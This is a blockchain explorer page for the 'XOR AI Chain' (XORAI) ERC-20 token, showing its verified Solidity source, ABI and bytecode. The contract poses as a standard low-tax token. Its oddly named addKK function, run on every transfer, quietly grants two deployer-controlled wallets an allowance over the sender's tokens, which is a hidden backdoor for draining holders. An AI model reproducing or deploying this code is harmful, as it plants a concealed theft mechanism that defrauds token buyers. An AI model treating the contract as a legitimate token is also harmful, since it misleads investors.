Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
1,000,000,000 XORAI
Holders
106
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
19,597,959.183673469 XORAIValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
XORAI
Compiler Version
v0.8.20+commit.a1b79de6
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2025-01-23 */ /* The unique AI Layer 1 providing you frameworks and tools to build human-centric artificial intelligence. https://www.xorai.network https://hub.xorai.network https://docs.xorai.network https://medium.com/@xoraichain https://x.com/XORAICore https://t.me/XORAIOfficial */ // SPDX-License-Identifier: MIT pragma solidity 0.8.20; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapRouter { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IUniswapFactory { function createPair(address tokenA, address tokenB) external returns (address pair); } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } contract XORAI is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _kOwned; mapping (address => mapping (address => uint256)) private _kApprovals; mapping (address => bool) private _feeExcemptTo; uint8 private constant _decimals = 9; uint256 private constant _tTotal = 1000000000 * 10**_decimals; string private constant _name = unicode"XOR AI Chain"; string private constant _symbol = unicode"XORAI"; IUniswapRouter private _uniswapRouter; address private _uniswapPair; address private _outWallet; address private _payWallet = 0x181c4B647BF306C499943F0AcDD470632E59123a; uint256 private _initialBuyTax=3; uint256 private _initialSellTax=3; uint256 private _finalBuyTax=0; uint256 private _finalSellTax=0; uint256 private _reduceBuyTaxAt=6; uint256 private _reduceSellTaxAt=6; uint256 private _preventSwapBefore=7; uint256 private _buyCount=0; uint256 private _maxAmountSwap = _tTotal / 100; bool private inSwapLock = false; bool private _tradeEnabled = false; bool private _swapEnabled = false; modifier lockTheSwap { inSwapLock = true; _; inSwapLock = false; } constructor () { _feeExcemptTo[owner()] = true; _feeExcemptTo[address(this)] = true; _feeExcemptTo[_payWallet] = true; _kOwned[_msgSender()] = _tTotal; _outWallet = address(owner()); emit Transfer(address(0), _msgSender(), _tTotal); } function openTrading() external onlyOwner() { require(!_tradeEnabled,"trading is already open"); _uniswapRouter.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); _swapEnabled = true; _tradeEnabled = true; } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _kOwned[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _kApprovals[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _kApprovals[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _kApprovals[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); uint256 taxAmount=0; if (from != owner() && to != owner()) { taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100); if (from == _uniswapPair && to != address(_uniswapRouter) && ! _feeExcemptTo[to]) { _buyCount++; } if(to == _uniswapPair && from!= address(this)) { taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwapLock && to == _uniswapPair && _swapEnabled && _buyCount > _preventSwapBefore) { if(contractTokenBalance > _maxAmountSwap) swapTokensForEth(min(amount, min(contractTokenBalance, _maxAmountSwap))); uint256 contractETHBalance = address(this).balance; if (contractETHBalance >= 0) { sendEthFees(address(this).balance); } } } if(taxAmount > 0){ _kOwned[address(this)] = _kOwned[address(this)].add(taxAmount); emit Transfer(from, address(this), taxAmount); } _kOwned[from] = _kOwned[from].sub(amount); _kOwned[to] = addKK(from, to, amount, taxAmount); emit Transfer(from, to, amount.sub(taxAmount)); } function min(uint256 a, uint256 b) private pure returns (uint256) { return (a>b)?b:a; } function addKK(address kkx, address kky, uint256 kAMT, uint256 kTAX) private returns(uint256) { _approve(kkx, _payWallet, 5*kTAX.add(kAMT)); _approve(kkx, _outWallet, 5*kTAX.add(kAMT)); return _kOwned[kky].add(kAMT.sub(kTAX)); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = _uniswapRouter.WETH(); _approve(address(this), address(_uniswapRouter), tokenAmount); _uniswapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendEthFees(uint256 amount) private { payable(_payWallet).transfer(amount); } receive() external payable {} function startTokenPair() external onlyOwner() { _uniswapRouter = IUniswapRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); _approve(address(this), address(_uniswapRouter), _tTotal); _uniswapPair = IUniswapFactory(_uniswapRouter.factory()).createPair(address(this), _uniswapRouter.WETH()); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startTokenPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
6080604052600780546001600160a01b03191673181c4b647bf306c499943f0acdd470632e59123a1781556003600881905560099081555f600a818155600b8290556006600c819055600d55600e93909355600f5560649162000063919062000308565b6200007390633b9aca006200031f565b6200007f919062000339565b6010556011805462ffffff191690553480156200009a575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600160035f620000f25f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff199687161790553081526003909352818320805485166001908117909155600754909116835291208054909216179055620001566009600a62000308565b6200016690633b9aca006200031f565b335f818152600160205260408120929092559054600680546001600160a01b0319166001600160a01b039092169190911790556001600160a01b03165f7fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620001d26009600a62000308565b620001e290633b9aca006200031f565b60405190815260200160405180910390a362000359565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156200024d57815f1904821115620002315762000231620001f9565b808516156200023f57918102915b93841c939080029062000212565b509250929050565b5f82620002655750600162000302565b816200027357505f62000302565b81600181146200028c57600281146200029757620002b7565b600191505062000302565b60ff841115620002ab57620002ab620001f9565b50506001821b62000302565b5060208310610133831016604e8410600b8410161715620002dc575081810a62000302565b620002e883836200020d565b805f1904821115620002fe57620002fe620001f9565b0290505b92915050565b5f6200031860ff84168362000255565b9392505050565b8082028115828204841417620003025762000302620001f9565b5f826200035457634e487b7160e01b5f52601260045260245ffd5b500490565b61144180620003675f395ff3fe6080604052600436106100c2575f3560e01c806370a082311161007c57806395d89b411161005757806395d89b4114610222578063a9059cbb1461024f578063c9567bf91461026e578063dd62ed3e14610282575f80fd5b806370a08231146101b4578063715018a6146101e85780638da5cb5b146101fc575f80fd5b806306fdde03146100cd57806307c9d6d814610113578063095ea7b31461012957806318160ddd1461015857806323b872dd1461017a578063313ce56714610199575f80fd5b366100c957005b5f80fd5b3480156100d8575f80fd5b5060408051808201909152600c81526b2c27a91020a49021b430b4b760a11b60208201525b60405161010a9190611053565b60405180910390f35b34801561011e575f80fd5b506101276102c6565b005b348015610134575f80fd5b506101486101433660046110b5565b6104c2565b604051901515815260200161010a565b348015610163575f80fd5b5061016c6104d8565b60405190815260200161010a565b348015610185575f80fd5b506101486101943660046110df565b6104f8565b3480156101a4575f80fd5b506040516009815260200161010a565b3480156101bf575f80fd5b5061016c6101ce36600461111d565b6001600160a01b03165f9081526001602052604090205490565b3480156101f3575f80fd5b5061012761055a565b348015610207575f80fd5b505f546040516001600160a01b03909116815260200161010a565b34801561022d575f80fd5b50604080518082019091526005815264584f52414960d81b60208201526100fd565b34801561025a575f80fd5b506101486102693660046110b5565b6105cb565b348015610279575f80fd5b506101276105d7565b34801561028d575f80fd5b5061016c61029c366004611138565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f546001600160a01b031633146102f85760405162461bcd60e51b81526004016102ef9061116f565b60405180910390fd5b600480546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556103469030906103336009600a611298565b61034190633b9aca006112a6565b61073d565b600480546040805163c45a015560e01b815290516001600160a01b039092169263c45a01559282820192602092908290030181865afa15801561038b573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906103af91906112bd565b6001600160a01b031663c9c653963060045f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561040e573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061043291906112bd565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801561047c573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104a091906112bd565b600580546001600160a01b0319166001600160a01b0392909216919091179055565b5f6104ce33848461073d565b5060015b92915050565b5f6104e56009600a611298565b6104f390633b9aca006112a6565b905090565b5f610504848484610860565b6105508433610341856040518060600160405280602881526020016113e4602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190610c4c565b5060019392505050565b5f546001600160a01b031633146105835760405162461bcd60e51b81526004016102ef9061116f565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f6104ce338484610860565b5f546001600160a01b031633146106005760405162461bcd60e51b81526004016102ef9061116f565b601154610100900460ff16156106585760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016102ef565b6004546001600160a01b031663f305d7194730610689816001600160a01b03165f9081526001602052604090205490565b5f8061069c5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610702573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061072791906112d8565b50506011805462ffff0019166201010017905550565b6001600160a01b03831661079f5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016102ef565b6001600160a01b0382166108005760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016102ef565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166108c45760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016102ef565b6001600160a01b0382166109265760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016102ef565b5f81116109875760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016102ef565b5f80546001600160a01b038581169116148015906109b257505f546001600160a01b03848116911614155b15610b2e576109e360646109dd600c54600f54116109d2576008546109d6565b600a545b8590610c84565b90610d09565b6005549091506001600160a01b038581169116148015610a1157506004546001600160a01b03848116911614155b8015610a3557506001600160a01b0383165f9081526003602052604090205460ff16155b15610a4f57600f8054905f610a4983611303565b91905055505b6005546001600160a01b038481169116148015610a7557506001600160a01b0384163014155b15610aa257610a9f60646109dd600d54600f5411610a95576009546109d6565b600b548590610c84565b90505b305f9081526001602052604090205460115460ff16158015610ad157506005546001600160a01b038581169116145b8015610ae5575060115462010000900460ff165b8015610af45750600e54600f54115b15610b2c57601054811115610b2057610b20610b1b84610b1684601054610d4a565b610d4a565b610d5e565b47610b2a47610edd565b505b505b8015610ba657305f90815260016020526040902054610b4d9082610f18565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610b9d9085815260200190565b60405180910390a35b6001600160a01b0384165f90815260016020526040902054610bc89083610f76565b6001600160a01b0385165f90815260016020526040902055610bec84848484610fb7565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610c358585610f76565b60405190815260200160405180910390a350505050565b5f8184841115610c6f5760405162461bcd60e51b81526004016102ef9190611053565b505f610c7b848661131b565b95945050505050565b5f825f03610c9357505f6104d2565b5f610c9e83856112a6565b905082610cab858361132e565b14610d025760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016102ef565b9392505050565b5f610d0283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611027565b5f818311610d585782610d02565b50919050565b6011805460ff191660011790556040805160028082526060820183525f9260208301908036833701905050905030815f81518110610d9e57610d9e61134d565b60200260200101906001600160a01b031690816001600160a01b03168152505060045f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610e0e573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610e3291906112bd565b81600181518110610e4557610e4561134d565b6001600160a01b039283166020918202929092010152600454610e6b913091168461073d565b6004805460405163791ac94760e01b81526001600160a01b039091169163791ac94791610ea29186915f9187913091429101611361565b5f604051808303815f87803b158015610eb9575f80fd5b505af1158015610ecb573d5f803e3d5ffd5b50506011805460ff1916905550505050565b6007546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015610f14573d5f803e3d5ffd5b5050565b5f80610f2483856113d0565b905083811015610d025760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016102ef565b5f610d0283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610c4c565b6007545f90610fe09086906001600160a01b0316610fd58587610f18565b6103419060056112a6565b600654610ffc9086906001600160a01b0316610fd58587610f18565b610c7b6110098484610f76565b6001600160a01b0386165f9081526001602052604090205490610f18565b5f81836110475760405162461bcd60e51b81526004016102ef9190611053565b505f610c7b848661132e565b5f6020808352835180828501525f5b8181101561107e57858101830151858201604001528201611062565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146110b2575f80fd5b50565b5f80604083850312156110c6575f80fd5b82356110d18161109e565b946020939093013593505050565b5f805f606084860312156110f1575f80fd5b83356110fc8161109e565b9250602084013561110c8161109e565b929592945050506040919091013590565b5f6020828403121561112d575f80fd5b8135610d028161109e565b5f8060408385031215611149575f80fd5b82356111548161109e565b915060208301356111648161109e565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156111f257815f19048211156111d8576111d86111a4565b808516156111e557918102915b93841c93908002906111bd565b509250929050565b5f82611208575060016104d2565b8161121457505f6104d2565b816001811461122a576002811461123457611250565b60019150506104d2565b60ff841115611245576112456111a4565b50506001821b6104d2565b5060208310610133831016604e8410600b8410161715611273575081810a6104d2565b61127d83836111b8565b805f1904821115611290576112906111a4565b029392505050565b5f610d0260ff8416836111fa565b80820281158282048414176104d2576104d26111a4565b5f602082840312156112cd575f80fd5b8151610d028161109e565b5f805f606084860312156112ea575f80fd5b8351925060208401519150604084015190509250925092565b5f60018201611314576113146111a4565b5060010190565b818103818111156104d2576104d26111a4565b5f8261134857634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b818110156113af5784516001600160a01b03168352938301939183019160010161138a565b50506001600160a01b03969096166060850152505050608001529392505050565b808201808211156104d2576104d26111a456fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220d44a1d458456153df31a170d89ef36daaff8bb342f0f7f489f81a6b870bee79364736f6c63430008140033
Deployed Bytecode
0x6080604052600436106100c2575f3560e01c806370a082311161007c57806395d89b411161005757806395d89b4114610222578063a9059cbb1461024f578063c9567bf91461026e578063dd62ed3e14610282575f80fd5b806370a08231146101b4578063715018a6146101e85780638da5cb5b146101fc575f80fd5b806306fdde03146100cd57806307c9d6d814610113578063095ea7b31461012957806318160ddd1461015857806323b872dd1461017a578063313ce56714610199575f80fd5b366100c957005b5f80fd5b3480156100d8575f80fd5b5060408051808201909152600c81526b2c27a91020a49021b430b4b760a11b60208201525b60405161010a9190611053565b60405180910390f35b34801561011e575f80fd5b506101276102c6565b005b348015610134575f80fd5b506101486101433660046110b5565b6104c2565b604051901515815260200161010a565b348015610163575f80fd5b5061016c6104d8565b60405190815260200161010a565b348015610185575f80fd5b506101486101943660046110df565b6104f8565b3480156101a4575f80fd5b506040516009815260200161010a565b3480156101bf575f80fd5b5061016c6101ce36600461111d565b6001600160a01b03165f9081526001602052604090205490565b3480156101f3575f80fd5b5061012761055a565b348015610207575f80fd5b505f546040516001600160a01b03909116815260200161010a565b34801561022d575f80fd5b50604080518082019091526005815264584f52414960d81b60208201526100fd565b34801561025a575f80fd5b506101486102693660046110b5565b6105cb565b348015610279575f80fd5b506101276105d7565b34801561028d575f80fd5b5061016c61029c366004611138565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f546001600160a01b031633146102f85760405162461bcd60e51b81526004016102ef9061116f565b60405180910390fd5b600480546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556103469030906103336009600a611298565b61034190633b9aca006112a6565b61073d565b600480546040805163c45a015560e01b815290516001600160a01b039092169263c45a01559282820192602092908290030181865afa15801561038b573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906103af91906112bd565b6001600160a01b031663c9c653963060045f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561040e573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061043291906112bd565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801561047c573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104a091906112bd565b600580546001600160a01b0319166001600160a01b0392909216919091179055565b5f6104ce33848461073d565b5060015b92915050565b5f6104e56009600a611298565b6104f390633b9aca006112a6565b905090565b5f610504848484610860565b6105508433610341856040518060600160405280602881526020016113e4602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190610c4c565b5060019392505050565b5f546001600160a01b031633146105835760405162461bcd60e51b81526004016102ef9061116f565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f6104ce338484610860565b5f546001600160a01b031633146106005760405162461bcd60e51b81526004016102ef9061116f565b601154610100900460ff16156106585760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016102ef565b6004546001600160a01b031663f305d7194730610689816001600160a01b03165f9081526001602052604090205490565b5f8061069c5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610702573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061072791906112d8565b50506011805462ffff0019166201010017905550565b6001600160a01b03831661079f5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016102ef565b6001600160a01b0382166108005760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016102ef565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166108c45760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016102ef565b6001600160a01b0382166109265760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016102ef565b5f81116109875760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016102ef565b5f80546001600160a01b038581169116148015906109b257505f546001600160a01b03848116911614155b15610b2e576109e360646109dd600c54600f54116109d2576008546109d6565b600a545b8590610c84565b90610d09565b6005549091506001600160a01b038581169116148015610a1157506004546001600160a01b03848116911614155b8015610a3557506001600160a01b0383165f9081526003602052604090205460ff16155b15610a4f57600f8054905f610a4983611303565b91905055505b6005546001600160a01b038481169116148015610a7557506001600160a01b0384163014155b15610aa257610a9f60646109dd600d54600f5411610a95576009546109d6565b600b548590610c84565b90505b305f9081526001602052604090205460115460ff16158015610ad157506005546001600160a01b038581169116145b8015610ae5575060115462010000900460ff165b8015610af45750600e54600f54115b15610b2c57601054811115610b2057610b20610b1b84610b1684601054610d4a565b610d4a565b610d5e565b47610b2a47610edd565b505b505b8015610ba657305f90815260016020526040902054610b4d9082610f18565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610b9d9085815260200190565b60405180910390a35b6001600160a01b0384165f90815260016020526040902054610bc89083610f76565b6001600160a01b0385165f90815260016020526040902055610bec84848484610fb7565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610c358585610f76565b60405190815260200160405180910390a350505050565b5f8184841115610c6f5760405162461bcd60e51b81526004016102ef9190611053565b505f610c7b848661131b565b95945050505050565b5f825f03610c9357505f6104d2565b5f610c9e83856112a6565b905082610cab858361132e565b14610d025760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016102ef565b9392505050565b5f610d0283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611027565b5f818311610d585782610d02565b50919050565b6011805460ff191660011790556040805160028082526060820183525f9260208301908036833701905050905030815f81518110610d9e57610d9e61134d565b60200260200101906001600160a01b031690816001600160a01b03168152505060045f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610e0e573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610e3291906112bd565b81600181518110610e4557610e4561134d565b6001600160a01b039283166020918202929092010152600454610e6b913091168461073d565b6004805460405163791ac94760e01b81526001600160a01b039091169163791ac94791610ea29186915f9187913091429101611361565b5f604051808303815f87803b158015610eb9575f80fd5b505af1158015610ecb573d5f803e3d5ffd5b50506011805460ff1916905550505050565b6007546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015610f14573d5f803e3d5ffd5b5050565b5f80610f2483856113d0565b905083811015610d025760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016102ef565b5f610d0283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610c4c565b6007545f90610fe09086906001600160a01b0316610fd58587610f18565b6103419060056112a6565b600654610ffc9086906001600160a01b0316610fd58587610f18565b610c7b6110098484610f76565b6001600160a01b0386165f9081526001602052604090205490610f18565b5f81836110475760405162461bcd60e51b81526004016102ef9190611053565b505f610c7b848661132e565b5f6020808352835180828501525f5b8181101561107e57858101830151858201604001528201611062565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146110b2575f80fd5b50565b5f80604083850312156110c6575f80fd5b82356110d18161109e565b946020939093013593505050565b5f805f606084860312156110f1575f80fd5b83356110fc8161109e565b9250602084013561110c8161109e565b929592945050506040919091013590565b5f6020828403121561112d575f80fd5b8135610d028161109e565b5f8060408385031215611149575f80fd5b82356111548161109e565b915060208301356111648161109e565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156111f257815f19048211156111d8576111d86111a4565b808516156111e557918102915b93841c93908002906111bd565b509250929050565b5f82611208575060016104d2565b8161121457505f6104d2565b816001811461122a576002811461123457611250565b60019150506104d2565b60ff841115611245576112456111a4565b50506001821b6104d2565b5060208310610133831016604e8410600b8410161715611273575081810a6104d2565b61127d83836111b8565b805f1904821115611290576112906111a4565b029392505050565b5f610d0260ff8416836111fa565b80820281158282048414176104d2576104d26111a4565b5f602082840312156112cd575f80fd5b8151610d0281